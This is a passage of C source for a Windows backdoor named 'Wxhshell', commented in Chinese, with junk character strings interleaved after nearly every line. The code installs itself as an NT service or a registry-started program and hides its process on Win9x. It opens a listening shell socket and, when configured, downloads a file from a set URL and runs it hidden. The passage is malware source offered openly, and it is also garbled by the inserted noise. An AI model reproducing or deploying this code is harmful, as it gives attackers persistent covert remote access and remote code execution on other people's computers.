} PROCESS_BASIC_INFORMATION; xHD=\,{ig
2#c<\s|C
PROCNTQSIP NtQueryInformationProcess; ww],y@da
R}*_~7r5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Djc
c
z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *%%g{
3$
K<>oa[B9
HANDLE hProcess; XovRg,
PROCESS_BASIC_INFORMATION pbi; iO|se:LY<
iOW#>66d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ab{ K<:l
if(NULL == hInst ) return 0; W04@!_) <
ahJ`$U4n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n>BkTaI
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lh7jux
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nn!+,;ut
W*Zkc:{eB
if (!NtQueryInformationProcess) return 0; DH\0z[
~?d Nd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #h`
V>;
if(!hProcess) return 0; wl#@lOv-P
(|klSz_4LM
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9\_eK,*B
3G}x;Cp\D
CloseHandle(hProcess); A%KDiIA
CDQW !XHc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %A1o.{H
if(hProcess==NULL) return 0; TO]@
Zu1
~*z% e*EL
HMODULE hMod; RtTJ5@V(
char procName[255]; |$8~?7Jv
unsigned long cbNeeded; c;Pe/ d
zv0l,-o
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Yc_8r+;(
p<2L.\6"
CloseHandle(hProcess); 2^h27A
<m)$K
if(strstr(procName,"services")) return 1; // 以服务启动 D$
dfNiCH
Xg|B \\
return 0; // 注册表启动 tn(JC%?^
} +6HVhoxU#
[>8}J"
// 主模块 k/#&qC>]
int StartWxhshell(LPSTR lpCmdLine) l;R%= P?'F
{
M+||rct
SOCKET wsl; "p_J8
BOOL val=TRUE; $rv8K j+
int port=0; [uC]*G]
struct sockaddr_in door; 8xMEe:}V
SUCMb8
if(wscfg.ws_autoins) Install(); n.!#P|
=,spvy'"*C
port=atoi(lpCmdLine); nAW:utTB
%b&".mN
if(port<=0) port=wscfg.ws_port; p>RNPrT
Ta
?_5
WSADATA data; }vxw*8d?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~zCEpU|@N
-JMdE_h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n.'8A(,r3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :ubV };
door.sin_family = AF_INET; y"bByd|6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n0r+A^]
door.sin_port = htons(port); [Dk=? +
KHe=O1 %QO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *X'Y$x>f
closesocket(wsl); adCU61t
return 1; *"?l ]d
} K28+]qy[
ALrw\qV
if(listen(wsl,2) == INVALID_SOCKET) { }\tdcTMgS
closesocket(wsl); v- T$:cL
return 1; ;X?}x%$
} 1O/+8yw
Wxhshell(wsl); R;s?$;I
WSACleanup(); l~c@^!
sGyeb5c
return 0; b LlKe50
G_;)a]v8)
} Sj]T
!\nBh
// 以NT服务方式启动 6G1@smP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v\KA'PmiP
{ .AR#&mL9
DWORD status = 0; d4u})
DWORD specificError = 0xfffffff; t2/#&J]
6IBgt!=,
serviceStatus.dwServiceType = SERVICE_WIN32; Yw4n-0g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $ 7O}S.x
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D^yRaP*|7
serviceStatus.dwWin32ExitCode = 0; =5J7Hw&K
serviceStatus.dwServiceSpecificExitCode = 0; e<3K;Q
serviceStatus.dwCheckPoint = 0; aC$B2
serviceStatus.dwWaitHint = 0; [B+yyBtx
JJP08oP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S>h;K`
if (hServiceStatusHandle==0) return; 15%w 8u
'8Q]C*Z
status = GetLastError(); xbdN0MAU
if (status!=NO_ERROR) ^T*? >%`
{ ![`Ay4AZ@a
serviceStatus.dwCurrentState = SERVICE_STOPPED; vI:;A/&
serviceStatus.dwCheckPoint = 0; rSZd!OQ
serviceStatus.dwWaitHint = 0; 'FqQzx"r
serviceStatus.dwWin32ExitCode = status; Huy5-[)15
serviceStatus.dwServiceSpecificExitCode = specificError; k.5u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xQ}pu2@d
return; 5:pM4J
} QKyo`g7
pf1BN@
t
serviceStatus.dwCurrentState = SERVICE_RUNNING; 61SlVec*o8
serviceStatus.dwCheckPoint = 0; o|>'h$
serviceStatus.dwWaitHint = 0; Sh/T ,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cc,^6[OH@
} FG6h,7+
XG}C+;4Aw
// 处理NT服务事件,比如:启动、停止
z_F-T=_
VOID WINAPI NTServiceHandler(DWORD fdwControl) kDEPs$^
{ GR&z,
switch(fdwControl) .:@Ykdm4I
{ GGNvu)"
case SERVICE_CONTROL_STOP: Bzkoo J
serviceStatus.dwWin32ExitCode = 0; 8K.R=
serviceStatus.dwCurrentState = SERVICE_STOPPED; aoTM
serviceStatus.dwCheckPoint = 0; dYT%
serviceStatus.dwWaitHint = 0; SQ44
{ ^Y=\#-Dd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k3u"A_"c
} G0/4JSH
return; [<2<Y
case SERVICE_CONTROL_PAUSE: P^A!.}d
serviceStatus.dwCurrentState = SERVICE_PAUSED; {9?Jj A
break; uD}2<$PP
case SERVICE_CONTROL_CONTINUE: fmQ_P.c
serviceStatus.dwCurrentState = SERVICE_RUNNING; BcL{se9<
break; K?[q%W]%
case SERVICE_CONTROL_INTERROGATE: wLi4G@jJ
break; 3 jGWkby0
}; Y'1S`.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +1uF !G&l
} KV}FZ3jY
qs1 ?IYD
// 标准应用程序主函数 4A8;tU$&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G'oG</A
{ S0B|#O%Z
% W=b?:
// 获取操作系统版本 `);AW(Q
OsIsNt=GetOsVer(); [h^2Y&Au5
GetModuleFileName(NULL,ExeFile,MAX_PATH); mR&H9NG
c#|raXGT
// 从命令行安装 nH`Q#ZFz]?
if(strpbrk(lpCmdLine,"iI")) Install(); {t0)
q
=7w\
7-.m
// 下载执行文件 Rtb7|
if(wscfg.ws_downexe) { K@sV\"U(*E
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,24p%KJ*X
WinExec(wscfg.ws_filenam,SW_HIDE); }@;ep&b*
} UELy"z
R
x,rlrxI
if(!OsIsNt) { >64P6P;S
// 如果时win9x,隐藏进程并且设置为注册表启动 uEktQ_u[
HideProc(); +@94;me
StartWxhshell(lpCmdLine); [Grxw[(_:
} T+*%?2>q"
else 6%t1b M
a
if(StartFromService()) o<[#0T^K
// 以服务方式启动 |_] Q$q[[%
StartServiceCtrlDispatcher(DispatchTable); 8kU!8^mH
else C"!gZ8*\!9
// 普通方式启动 o9JMH.G
StartWxhshell(lpCmdLine); v*;-yG&
ex::m&
return 0; ]b\yg2
}